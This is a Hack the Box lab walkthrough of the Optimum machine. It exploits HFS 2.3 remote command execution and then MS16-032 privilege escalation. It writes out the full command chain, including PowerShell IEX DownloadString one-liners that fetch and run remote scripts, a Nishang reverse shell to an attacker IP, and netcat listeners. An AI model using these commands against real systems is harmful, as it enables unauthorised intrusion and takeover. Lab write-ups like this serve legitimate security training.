Hack the Box - Optimum - Walkthrough

Introduction

Today we're going to be doing a pentest walkthrough of the Optimum machine hosted at https://hackthebox.eu. For this pentest, we'll be using a Kali Linux virtual machine as our attacking system and the Optimum machine as the victim system. After connecting to the Hack the Box network via VPN, we see that our target is located at 10.129.1.127

Scanning and Enumeration

We'll start by scanning for open ports with Nmap:

sudo nmap -T4 -p- 10.129.1.127

Now we'll do another Nmap scan, this time specifying the ports and picking up service names and version numbers:

sudo nmap -T4 -p80 10.129.1.127

This is an unusual type of server software, so let's do a Searchsploit on it:

searchsploit http file server 2.3

Looks like there are some Remote Command Execution exploits for this software.  Let's take a look at one of these scritpts:

cat /usr/share/exploitdb/exploits/windows/remote/39161.py

Finding a Way In

Looks like we'll need to do four things before we can run this exploit.  First, we'll need to locate and copy the nc.exe file to our working directory.  Second, we'll need to copy the exploit script to our working directory and modify the variables in the script to suit our attacking machine's IP address and port.  Third, we need to host our nc.exe file on an HTTP server.  Lastly, we need to setup a Netcat listener on our attacking machine.

Locating and moving the nc.exe file to our working directory:

locate nc.exe
cp /usr/share/windows-recources/binaries/nc.exe nc.exe

Copying the exploit script to our working directory, then adjusting the variables to match our attacking machine:

cp /usr/share/exploitdb/exploits/windows/remote/39161.py 39161.py

gedit 39161.py

ip_addr = "10.10.99.99"

local_port = "443"

Starting an HTTP server in our working directory:

sudo python -m SimpleHTTPServer 80

Setting up a Netcat listener:

sudo nc -nlvp 443

Now we're all set to run the exploit Python script and get our reverse shell to the target:

python 39161.py 10.129.1.127 80
whoami

Capturing the User Flag

We will take this opportunity to capture our User flag. User flags on Hack the Box Windows systems are usually located in a user's \Desktop directory. Fortunately for us, the directory we were dropped into when we the reverse shell was opened just so happens to contain the flag:

type user.txt.txt

Foothold Enumeration

Now that we have a shell on the target, we use our SimpleHTTPServer and Powershell commands to enumerate the system with the Sherlock.ps1 script, which scans the system for Windows kernel vulnerabilities. The Sherlock.ps1 can be obtained from here:

https://github.com/rasta-mouse/Sherlock/blob/master/Sherlock.ps1

wget https://raw.githubusercontent.com/rasta-mouse/Sherlock/master/Sherlock.ps1

Before using the script, we will add the following line to the end of the script to check for all vulnerabilities when it's imported:

Find-AllVulns

Now, from our reverse shell, we use a Powershell command to download and execute the Sherlock.ps1 script without saving it to disk:

c:\windows\sysnative\windowspowershell\v1.0\powershell.exe IEX (New-Object Net.webclient).DownloadString('http://10.10.99.99/Sherlock.ps1')

The output of the Sherlock script indicates that the target is vulnerable to the MS16-032 vulnerability, and supplies a link to a relevant exploit.  This exploit script is also part of the PowerShell Empire framework, now called Empire Project.  The script we want is located here:

https://github.com/EmpireProject/Empire/blob/master/data/module_source/privesc/Invoke-MS16032.ps1

We download the exploit script to our working directory:

wget https://raw.githubusercontent.com/EmpireProject/Empire/master/data/module_source/privesc/Invoke-MS16032.ps1

Privilege Escalation

For certain reasons, simply running the exploit script on the target isn't going to work, so we're going to get a little creative and chain execution of two Powershell scripts together to receive a reverse shell with elevated privileges.  We will use a Powershell one-liner command (similar to what we did with Sherlock) to run the exploit ps1 script, but we will instruct the script to run the exploit and download another ps1 script at the same time.  The other ps1 script will be one that opens a Poweshell reverse shell to our attacking system.  This means we need to do three things before we launch our attack.  

First, we need to download and modify and modify the Powershell script that will open our reverse shell.  Second, we need to modify our Invoke-MS16032.ps1 script.  Third, we need to setup our Netcat listener.

The reverse shell Powershell script is part of the Nishang github repo, and can be found here:

https://github.com/samratashok/nishang/blob/master/Shells/Invoke-PowerShellTcp.ps1

wget https://raw.githubusercontent.com/samratashok/nishang/master/Shells/Invoke-PowerShellTcp.ps1

We modify the script by adding the following line to the end of the script, which instructs the script to open the reverse shell to our system:

Invoke-PowerShellTcp -Reverse -IPAddress 10.10.99.99 -Port 8080

Next, we modify the Invoke-MS16032.ps1 script to execute and download/execute the Invoke-PowerShellTcp.ps1 at the same time:

Invoke-MS16032 -Command "iex(New-Object Net.WebClient).DownloadString('http://10.10.14.84/Invoke-PowerShellTcp.ps1')" 

Then we setup our Netcat listener on our attacking machine:

sudo nc -nlvp 8080

Finally, with everything setup (making sure our HTTP server is still up), we can send our exploit string on our reverse shell:

c:\windows\sysnative\windowspowershell\v1.0\powershell.exe IEX (New-Object Net.webclient).DownloadString('http://10.10.99.99/Invoke-MS16032.ps1')

Capturing the Root Flag

The Root flag on Hack the Box Windows systems is usually located in the Administrator user's Desktop directory:

type c:\users\Administrator\Desktop\root.txt

Summary

After initial scans we found that the version of webserver software installed on the target was vulnerable to a remote command execution exploit.  Through that vulnerability we were able to obtain a foothold shell on the target, and from there, used enumeration scripts to determine that the target's OS was insufficiently patched and vulnerable to a kernel exploit.  We located a public implementation of that exploit and used it to gain a shell on the system with elevated privileges and were thus able to capture the objective flag file.

Finish